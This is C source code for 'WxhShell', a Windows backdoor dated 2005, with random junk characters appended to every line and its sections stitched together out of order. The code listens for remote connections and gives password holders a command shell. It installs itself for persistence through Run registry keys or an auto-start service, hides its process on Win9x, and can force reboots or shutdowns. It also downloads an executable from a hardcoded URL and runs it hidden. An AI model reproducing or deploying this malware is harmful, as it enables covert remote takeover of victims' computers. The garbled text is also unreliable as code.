    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N_q|\S>t/  
    if(Boot(SHUTDOWN)) DrK{}uM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'a.qu9PJ  
    else { b9dLt6d  
    closesocket(wsh); gt w Q-  
    ExitThread(0); 4x[S\,20  
    } K8Y=S12Ti  
    break; jdJ>9O0A,  
    } EI^C{ $Y  
  // 获取shell qK&d]6H R  
  case 's': { l_%6  
    CmdShell(wsh); &W6^sj*k5U  
    closesocket(wsh); 8E]F$.6U  
    ExitThread(0); i@M [>~  
    break; rguCp}r  
  } Nf1-!u7  
  // 退出 yY&I dE  
  case 'x': { n^6j9 FQ7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hTi$.y!k  
    CloseIt(wsh); ,7K`[  
    break; KRDmY+  
    } ,{?%m6.lE  
  // 离开 GYUn6P  
  case 'q': { %;YHt=(1*X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d)f :)Ew  
    closesocket(wsh); O#S.n#{  
    WSACleanup(); '}bgLv  
    exit(1); M?uC%x+S$_  
    break; _[ZO p ~  
        } 3HY9\'t6  
  } :'*~uJrR  
  } cJ @Wt>YI  
r#] WI|  
  // 提示信息 3fQuoQuD"}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <1\Nb{5  
} :T !'N\7  
  } OMg<V  
V-L"gnd&2  
  return; >%8KK|V{  
} qVwIo.g!  
3]3|  
// shell模块句柄 ..'_o~Ka  
int CmdShell(SOCKET sock) Q9G;V]./  
{ a\ YV3NJ/A  
STARTUPINFO si; ^iw'^6~  
ZeroMemory(&si,sizeof(si)); 2n"V}p>8i#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mmRJ9OhS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hJ~Uf5Q  
PROCESS_INFORMATION ProcessInfo; Jd^,]  
char cmdline[]="cmd"; ; _1 at  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1gN=-AC  
  return 0; @eIJ]p  
} Cg?&wj<  
RcU}}V  
// 自身启动模式 {v ;&5!s  
int StartFromService(void) T&o(N3lW  
{ @>>~CZ`l  
typedef struct s?,Ek  
{ )6,=f.%  
  DWORD ExitStatus; TXvI4"&  
  DWORD PebBaseAddress; YRN06*hS  
  DWORD AffinityMask; [o+q>|q  
  DWORD BasePriority; |My4SoOF  
  ULONG UniqueProcessId; !1{e|p 7  
  ULONG InheritedFromUniqueProcessId; E+g@M8D  
}   PROCESS_BASIC_INFORMATION; 8MzVOF{"  
QD*35Y!d  
PROCNTQSIP NtQueryInformationProcess; Y^}Z>  
aa#Y=%^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fnX`Q[b4\A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .ndCfdy~  
.|b$NM  
  HANDLE             hProcess; *>2W#D)b=  
  PROCESS_BASIC_INFORMATION pbi; +:!7L= N#  
]cZ!y ~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F{~{Lthc  
  if(NULL == hInst ) return 0; Xi,CV[L\  
]J$eDbaEjT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8xV9.4S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nR}sNl1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wFsyD3  
6NM:DI\%  
  if (!NtQueryInformationProcess) return 0; vMt/u?oB  
:f}9($  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6qoyiT%P&  
  if(!hProcess) return 0; _Wp{ [TH  
``Dq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W=Mb  
pU%n]]qF  
  CloseHandle(hProcess); ^O<&f D  
1&)?JZhg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }v*G_}^  
if(hProcess==NULL) return 0; KgiJUO`PR  
Q$1bWUS&  
HMODULE hMod; >x+6{^}Q>  
char procName[255]; y7 3VFb  
unsigned long cbNeeded; )d1_Wm#B  
V#t%/l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )ufg9"\  
f]|ysf  
  CloseHandle(hProcess); WEQ1 Seq  
^~@U]  
if(strstr(procName,"services")) return 1; // 以服务启动 57zSu3v4Y  
x:>wUhzZ  
  return 0; // 注册表启动 =;3Sx::=  
} + SFVv_n  
G_{&sa  
// 主模块 iZNts%Y]  
int StartWxhshell(LPSTR lpCmdLine) pP?MWe Eg  
{ X4AyX.p  
  SOCKET wsl; !\i\}feb  
BOOL val=TRUE; +!z{5:  
  int port=0; V_RTI.3p  
  struct sockaddr_in door; Z!@~>i  
i;jw\ed  
  if(wscfg.ws_autoins) Install(); YN2sd G  
X1Ac*oLN  
port=atoi(lpCmdLine); L%K\C  
F\AX :  
if(port<=0) port=wscfg.ws_port; %K` % *D  
ll6wpV0m  
  WSADATA data; Vf'd*-_!Q<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HATA-M  
}L3oR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4%}*&nsI-Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MHai%E  
  door.sin_family = AF_INET; gu<'QV"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'u_t<F ]b  
  door.sin_port = htons(port); W4e5Rb4~f"  
?-^m`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { & )vC;$vD`  
closesocket(wsl); PSVc+s[Q+V  
return 1; ;SaX;!`39+  
} k.^co I5  
dBe`p5Z  
  if(listen(wsl,2) == INVALID_SOCKET) { r'uGWW"w  
closesocket(wsl); c`WHNky%j  
return 1; 4Hn`'+b  
} ./D$dbu3  
  Wxhshell(wsl); 80&.JP.  
  WSACleanup(); rEv*)W  
S_v'hlrrT  
return 0; i|}[A  
6{+{lBm=y  
} q7Dw _<  
t|!j2<e  
// 以NT服务方式启动 E%v?t1>/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Nl9I*x^e  
{ GbA.UM ~  
DWORD   status = 0; Da:unVbU  
  DWORD   specificError = 0xfffffff; I}t3 p|z  
~7t$MF.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w TGb d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /43-;"%>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xIGfM>uq  
  serviceStatus.dwWin32ExitCode     = 0; #8bsxx!s  
  serviceStatus.dwServiceSpecificExitCode = 0; MXiQ1 x  
  serviceStatus.dwCheckPoint       = 0; ;)I'WQ]Q  
  serviceStatus.dwWaitHint       = 0; !>`N$-U X  
saAxGG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e9Pk"HHl  
  if (hServiceStatusHandle==0) return; hj$ e|arB  
A@D2+fS  
status = GetLastError(); c$`4*6  
  if (status!=NO_ERROR) Ev2HGU[  
{ KdUnD4d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #nO|A\N  
    serviceStatus.dwCheckPoint       = 0; CWG6;NT6m  
    serviceStatus.dwWaitHint       = 0; 9cx =@  
    serviceStatus.dwWin32ExitCode     = status; kctzNGF|  
    serviceStatus.dwServiceSpecificExitCode = specificError; K+)%KP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @a>2c$%  
    return; q;D+ai  
  } Hiv!BV|  
u!U"N*Y"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (j"(  
  serviceStatus.dwCheckPoint       = 0; :!f(F9  
  serviceStatus.dwWaitHint       = 0; \[>9UC%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C*te^3k>B  
} <U9/InN0[  
qr50E[  
// 处理NT服务事件,比如:启动、停止 1?Aga,~k:a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &G>(9  
{ ia{c  
switch(fdwControl) dj&}Gedy  
{ >x@P|\  
case SERVICE_CONTROL_STOP: m&0"<V!H/B  
  serviceStatus.dwWin32ExitCode = 0; Koln9'tB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q2%QLM:.,  
  serviceStatus.dwCheckPoint   = 0; ,kp\(X[J  
  serviceStatus.dwWaitHint     = 0; RF!1oZ  
  { rf9_eP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >71&]/Rv  
  } O0*e)i8  
  return; }2r+%V&4  
case SERVICE_CONTROL_PAUSE: x2#qg>`l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p(m1O70 C  
  break; q 'a  
case SERVICE_CONTROL_CONTINUE: sK=}E=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zz |MIGHm  
  break; iG ,t_??  
case SERVICE_CONTROL_INTERROGATE: |"$uRV=qm  
  break; Vjm_F!S  
}; Qc{RaMwD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w*w?S  
} w[Ep*-yeI  
r\9TMg`C  
// 标准应用程序主函数 }98>5%Uv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -,":5V26  
{ =S]a&*M  
c| ' w  
// 获取操作系统版本 ` e{BId  
OsIsNt=GetOsVer(); Y"e EkT\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )06iV  
#S+Z$DQD  
  // 从命令行安装 4R) |->"  
  if(strpbrk(lpCmdLine,"iI")) Install(); "] -],K  
IdRdW{o  
  // 下载执行文件 C;\VO)]t  
if(wscfg.ws_downexe) { xwzT#DXGJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r<L#q)]  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8<)$z?K   
} (%Oe_*e}Y  
a~^Srj!}x  
if(!OsIsNt) { DcV<y-`'1  
// 如果时win9x,隐藏进程并且设置为注册表启动 -Ubj6 t_K  
HideProc(); 2 6:evid  
StartWxhshell(lpCmdLine); KLt %[$CTi  
}  ?9u4a_x  
else hK}bj  
  if(StartFromService()) BSp$F WvT?  
  // 以服务方式启动 +~|AT+|iI  
  StartServiceCtrlDispatcher(DispatchTable); [7"}=9  
else }w!ps{*  
  // 普通方式启动 i@<~"~>]7  
  StartWxhshell(lpCmdLine); :?r*p>0$  
bGh0<r7R  
return 0; `.k5v7!o  
} )hL^+Nn bR  
VvgN3e[  
 ~B@ }R  
hrM"Zg  
=========================================== Xn7 [n  
}g,X5v?W  
4IGxI7~27#  
"zZ&n3=@  
z(d4)z 8'6  
2uo8jF.h  
" {u]CHN`%Z  
owMuT^x?  
#include <stdio.h> 8)Tj H'  
#include <string.h> l/V&s<  
#include <windows.h> qU6BA \ZL  
#include <winsock2.h> c=t*I0-OVS  
#include <winsvc.h> rZ866\0  
#include <urlmon.h>  $o+&Y5:  
FYeEG  
#pragma comment (lib, "Ws2_32.lib") RUrymkHFB  
#pragma comment (lib, "urlmon.lib") 5~yb ~0  
x\;GoGsez  
#define MAX_USER   100 // 最大客户端连接数 Z)v)\l9d  
#define BUF_SOCK   200 // sock buffer $PfV<Yj'B  
#define KEY_BUFF   255 // 输入 buffer <<BQYU)Ig  
cJq<9(  
#define REBOOT     0   // 重启 u-/3(dKt  
#define SHUTDOWN   1   // 关机 xXa#J)'  
VEo^ :o)r  
#define DEF_PORT   5000 // 监听端口 s@M  
}@4| 7  
#define REG_LEN     16   // 注册表键长度 )O-sWh4  
#define SVC_LEN     80   // NT服务名长度 k*9%8yi_ U  
wL|7mMM,  
// 从dll定义API o(SuUGW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IgiqFV {  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o;'4c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'qlxAYw<f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s_` V*`n&  
NFM-)Z57  
// wxhshell配置信息 IHfSkFz`j  
struct WSCFG { 0kz7 >v  
  int ws_port;         // 监听端口 C_89YFn+  
  char ws_passstr[REG_LEN]; // 口令 ?ZM^%]/+  
  int ws_autoins;       // 安装标记, 1=yes 0=no !Ba3` B5l  
  char ws_regname[REG_LEN]; // 注册表键名 jM[f[  
  char ws_svcname[REG_LEN]; // 服务名 o9^$hDs,si  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (HaU,vP  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0<"tl0p_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )muv;Rf`e5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OUKj@~T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -q|*M:R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t-a`.y  
EXH!glR[$  
}; zZw@c?  
o|BFvhg  
// default Wxhshell configuration %!W 6<ioW  
struct WSCFG wscfg={DEF_PORT, I[a%a!QO  
    "xuhuanlingzhe", {K6Kx36  
    1, N)Qlkz$X  
    "Wxhshell", $R3.yX=[\  
    "Wxhshell", O\:;q*]  
            "WxhShell Service", `,Q<YT ~  
    "Wrsky Windows CmdShell Service", S@;&U1@h  
    "Please Input Your Password: ", \_)02ZT:  
  1, "&s9cO.H  
  "http://www.wrsky.com/wxhshell.exe", R\i]O  
  "Wxhshell.exe" tzP@3+.w  
    }; SIJ# ?0,  
}b<87#Nb9R  
// 消息定义模块 k^~@9F5k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K7y!s :rg!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `mQP{od?"?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [Ja(ArO3|[  
char *msg_ws_ext="\n\rExit."; |A2W8b {]  
char *msg_ws_end="\n\rQuit."; ye56-T  
char *msg_ws_boot="\n\rReboot..."; @)S sKk|  
char *msg_ws_poff="\n\rShutdown..."; R'jUS7]Y  
char *msg_ws_down="\n\rSave to "; [+Yl;3 &]  
h,Y{t?Of  
char *msg_ws_err="\n\rErr!";  [ ((h<e  
char *msg_ws_ok="\n\rOK!"; AD0ptHUBa  
pXGK:ceFu  
char ExeFile[MAX_PATH]; m[//_TFf]  
int nUser = 0; 8b8e^\l(  
HANDLE handles[MAX_USER]; )@sJTAK  
int OsIsNt; zWP.1 aA&  
& bp#1KR)  
SERVICE_STATUS       serviceStatus; ski1f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /7!_un9  
8T!fGzHx  
// 函数声明 ym-lT|>Z  
int Install(void); - I1cAt  
int Uninstall(void); B Lsdx }  
int DownloadFile(char *sURL, SOCKET wsh); dlU JYI  
int Boot(int flag); '2Mjz6mBDA  
void HideProc(void); {PP ^Rb)  
int GetOsVer(void); S&;T_^|  
int Wxhshell(SOCKET wsl); VPq5xSc?  
void TalkWithClient(void *cs); 'b?#4rq}  
int CmdShell(SOCKET sock); G!> iqG  
int StartFromService(void); JI{OGr  
int StartWxhshell(LPSTR lpCmdLine); )VV4HoH]8  
J7 Oa})-+'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \Nh^Ig   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <s59OdzP  
fF9;lWt  
// 数据结构和表定义 ;%3thm7+  
SERVICE_TABLE_ENTRY DispatchTable[] = k:(e79  
{ k*zc5ev}  
{wscfg.ws_svcname, NTServiceMain}, E#&c]9QM75  
{NULL, NULL} 9~Y)wz  
}; f<$K.i  
|zRoXO`]-*  
// 自我安装 CIxVR  
int Install(void) r7wx?{~ 28  
{ jN5} 2 p*  
  char svExeFile[MAX_PATH];  !z "a_  
  HKEY key; y~#R:&d"  
  strcpy(svExeFile,ExeFile); 0|wKR|zW  
+0JH"L5!  
// 如果是win9x系统,修改注册表设为自启动 5Qm.ECXV  
if(!OsIsNt) { ?*MV  ^IY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p8}5x 2F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *BP\6"X  
  RegCloseKey(key); 1Q2k>q8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2+r )VF:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X<@y*?D9D  
  RegCloseKey(key); 4BUK5)B  
  return 0; 66Cj=n5  
    } Pvb+   
  } hjm .Ath  
} s].'@_~s  
else { d9Ow 2KrC  
l#5k8+s  
// 如果是NT以上系统,安装为系统服务 VgC9'"|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Pc\4 QvQ8  
if (schSCManager!=0) 51FK~ 5  
{ C\hZ;Z1  
  SC_HANDLE schService = CreateService .AmM%I4K  
  ( "n2xn%t{  
  schSCManager, #uRq] 'P  
  wscfg.ws_svcname, LF3GVu,  
  wscfg.ws_svcdisp, =[tls^  
  SERVICE_ALL_ACCESS, hvv>UC/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Stp*JU  
  SERVICE_AUTO_START, =LeVJGF  
  SERVICE_ERROR_NORMAL, z6>ZV6(d2^  
  svExeFile, tRrY)eElS  
  NULL, l4BO@   
  NULL, Xta>  
  NULL, LZAj4|~,m  
  NULL, \ ]e w@C  
  NULL /IQ-|Qkg  
  ); Y_ ;i  
  if (schService!=0) N~K)0RETn  
  { Gv2./<{#  
  CloseServiceHandle(schService); VA&OI;=ri  
  CloseServiceHandle(schSCManager); @W5hrei  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3x;y}:wQa  
  strcat(svExeFile,wscfg.ws_svcname); zZjLt1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lO[jf6gB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *t-A6)2  
  RegCloseKey(key); (R|FQdH  
  return 0; ug3lMN4UX  
    } W/F4wEODY  
  } v>cE59('0  
  CloseServiceHandle(schSCManager); GWE0 UO}  
} ~FrkLP  
} [ BC%$Sj  
nm|m1Z+U  
return 1; 9QQ@Y}  
} )Ai%wCzw*  
4JQ`&:?r  
// 自我卸载 ;7=J U^@D@  
int Uninstall(void) L-:L= snO  
{ /Rcd}rO  
  HKEY key; G?1V~6  
$=QO_t)?  
if(!OsIsNt) { +jZg%$Q!#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >nW}zkfn  
  RegDeleteValue(key,wscfg.ws_regname); FveK|-  
  RegCloseKey(key); j I@$h_n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8!`.%)- 4  
  RegDeleteValue(key,wscfg.ws_regname); ]f @LhC1x  
  RegCloseKey(key); 1,!\7@<CT  
  return 0; kITmo"$K  
  } _eeX]xSSl  
}  KGwL09)  
} NcMq>n  
else { <>/MKMq!  
%1+~(1P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mSw?iL  
if (schSCManager!=0) JkDZl?x5  
{ 5va&N<U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {%~ Ec4r  
  if (schService!=0) 5 9HaTq  
  { Bo(l!G  
  if(DeleteService(schService)!=0) { g;Q^_4@  
  CloseServiceHandle(schService); {h+E&u[zL  
  CloseServiceHandle(schSCManager); T.N7`  
  return 0; wyEgm:Vt  
  } MQMy Z:  
  CloseServiceHandle(schService); j?)`VLZ  
  } K T72D  
  CloseServiceHandle(schSCManager); w[[@&T\`  
} ^`5Yxpz  
} RWcQT`  
d"a7{~l  
return 1; W/X;|m`  
} : 2d9ZDyD  
~}ZX^l&k{P  
// 从指定url下载文件 hRcJ):Wyb  
int DownloadFile(char *sURL, SOCKET wsh) Zpd>' ${4  
{ #$)rwm.jW?  
  HRESULT hr; 5i&V ~G  
char seps[]= "/"; F=c_PQO  
char *token; e(N <Mf  
char *file; +34jot.!  
char myURL[MAX_PATH]; Vs(Zs[  
char myFILE[MAX_PATH]; 2b` M(QL  
DQQjx>CK  
strcpy(myURL,sURL); y_r6T XnGL  
  token=strtok(myURL,seps); dAt[i \S  
  while(token!=NULL) =D$r5D/xd  
  { j"=jK^  
    file=token; bv];Gk*Z-  
  token=strtok(NULL,seps); +:Zi(SuS]  
  } # =3]bg  
tTamFL6  
GetCurrentDirectory(MAX_PATH,myFILE); EZW?(%b>H  
strcat(myFILE, "\\"); h:90K  
strcat(myFILE, file); !!>G{  
  send(wsh,myFILE,strlen(myFILE),0); =LzW#s=O  
send(wsh,"...",3,0); ,"ZlY}!Gn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $^>vJk<  
  if(hr==S_OK) %V/]V,w:*R  
return 0; Ey%NqOs0#  
else w5\)di  
return 1; HPB1d!^  
\)WjkhG<w#  
} UkKpS L}Q2  
(5 hu W7v  
// 系统电源模块 ?sE21m?b-  
int Boot(int flag) `6su_8Hno  
{ (%, '  
  HANDLE hToken; wl9icrR>  
  TOKEN_PRIVILEGES tkp; /+YWp>6LU  
sqRuqUj+  
  if(OsIsNt) { 4Rq"xYGXh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Nx'j+>bz>y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `!N?#N:b)  
    tkp.PrivilegeCount = 1; (""&$BJQ|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Tr)[q>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4LLCb7/5lP  
if(flag==REBOOT) { f 5Oh#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vo()J4L  
  return 0; u)-l+U.  
} Sq>UMfl&  
else { O8%/Id  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;p8xL)mUP  
  return 0; 8wOPpdc  
} }$jIvb,3?  
  } `N+ P ,  
  else { Lq.k?!D3uh  
if(flag==REBOOT) { !WXSrICX[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2z:9^a/]Na  
  return 0; F2=97 =R  
} G].Z| Z9  
else { sXA=KD8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X@rAe37h+  
  return 0; :O2N'vl47A  
} FU zY&@Y  
} q=U=Y n  
u}$3.]-.?T  
return 1; TQE_zOa:  
}  OxRzKT  
%?ad.F+7  
// win9x进程隐藏模块 Jh1fM`kB5K  
void HideProc(void) oVdmgmT.Y  
{ ZC"p^~U_e[  
uP.3(n[&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JXrMtSp\  
  if ( hKernel != NULL ) WD<M U ]  
  { '0+-Hit?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); occ}|u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wXe.zLQ  
    FreeLibrary(hKernel); [||$1u\%  
  } :|bPr_&U$  
y7JJ[:~~  
return; gwyz)CUkL  
} e([}dz  
*5^h>Vk/  
// 获取操作系统版本 09r.0Ks  
int GetOsVer(void) k 2~j:&p  
{ CAk.2C/  
  OSVERSIONINFO winfo; d4/ZOj+%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D?$f[+  
  GetVersionEx(&winfo); o4xZaF4+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QM=X<?m/,=  
  return 1; =Z2sQQVS  
  else r>V go):s  
  return 0; qSON3Iid  
} :%R3( &  
WK-WA$7\  
// 客户端句柄模块 d bw`E"g  
int Wxhshell(SOCKET wsl) rxO|k0x^C  
{ 9i n&\  
  SOCKET wsh; o`G@Je_}x  
  struct sockaddr_in client; JVRK\A|R  
  DWORD myID; !I@"+oY<  
\\_Qv  
  while(nUser<MAX_USER) l78zS'  
{ |VIBSty2d  
  int nSize=sizeof(client); #8cY,%<S]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ds`a6>746  
  if(wsh==INVALID_SOCKET) return 1;  e tY9Pq  
t ;(kSg.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~Os~pTo  
if(handles[nUser]==0) !RV}dhI  
  closesocket(wsh); 1N2s[ \q$  
else qjuX1 6o  
  nUser++; m3,i{  
  } ))<3+^S0V\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qm2  
v*kTTaU&  
  return 0; ~nw]q<7r  
} '6WaG hvO  
ygh*oVHO  
// 关闭 socket F4@``20|  
void CloseIt(SOCKET wsh) t\X5B]EZ  
{ L9(fa+$+#  
closesocket(wsh); :`25@<*u  
nUser--; "YM)bc  
ExitThread(0); <rNCb;  
} y]yp8Bs+  
!q mnMY$  
// 客户端请求句柄 5#~u U  
void TalkWithClient(void *cs) 4 @ )|N'  
{ q<dZy? f  
s%GhjWZS  
  SOCKET wsh=(SOCKET)cs; g^/  
  char pwd[SVC_LEN]; })%WL;~  
  char cmd[KEY_BUFF]; ]25 xX  
char chr[1]; w|7<y8#qC  
int i,j; @|sDb?J  
u?r=;:N|y  
  while (nUser < MAX_USER) { %i:Sf  
 ,SNN[a  
if(wscfg.ws_passstr) { PQDW Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :=3Ty]e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kO>F, M  
  //ZeroMemory(pwd,KEY_BUFF); i{vM NI{  
      i=0; v!JQ;OX  
  while(i<SVC_LEN) { ;rC)*=4#  
]lV\D8#  
  // 设置超时 E]/` JI'%  
  fd_set FdRead; >,wm-4&E  
  struct timeval TimeOut; *z&m=G\  
  FD_ZERO(&FdRead); 9)}Nx>K  
  FD_SET(wsh,&FdRead); b ;A(6^V  
  TimeOut.tv_sec=8; >VIb|YA  
  TimeOut.tv_usec=0; RsU!mYs:H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); os 9X)G  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j+YA/54`  
wC{?@ h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qn=~4rg]R  
  pwd=chr[0]; m_ >+$uL  
  if(chr[0]==0xd || chr[0]==0xa) { Kw_> X&GcJ  
  pwd=0; 0Rgo#`7l  
  break; V 3?x_pp  
  } K)=<hL  
  i++; jg%HaA<zO  
    } tj<a , l  
|:Q`9;  
  // 如果是非法用户,关闭 socket jG~zpZh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D_VAtz  
} 7S'3U}Y>VX  
jr,j1K@_t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z86[_l:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lM/)<I\8  
P4H%pm{-  
while(1) { 9b88):[qO  
33/aYy  
  ZeroMemory(cmd,KEY_BUFF); Bg3`w__l;  
% VZ QX_  
      // 自动支持客户端 telnet标准   1j4(/A  
  j=0; fZ8at  
  while(j<KEY_BUFF) { Y367Jr@^N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5BWO7F0v"  
  cmd[j]=chr[0]; `GGACH3#s  
  if(chr[0]==0xa || chr[0]==0xd) { 4Og&w]  
  cmd[j]=0; GP|G[  
  break; L&*/ s&>b  
  } X%1j-;Wr@  
  j++; @!;EW R]  
    } Dl/Jlsd@  
kWkAfzf4a  
  // 下载文件 KNH.4A  ,  
  if(strstr(cmd,"http://")) { >'\cNM~nf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 02|f@bP.  
  if(DownloadFile(cmd,wsh)) IG}`~% Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 39j "z8 n  
  else #a : W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UBN^dbP*  
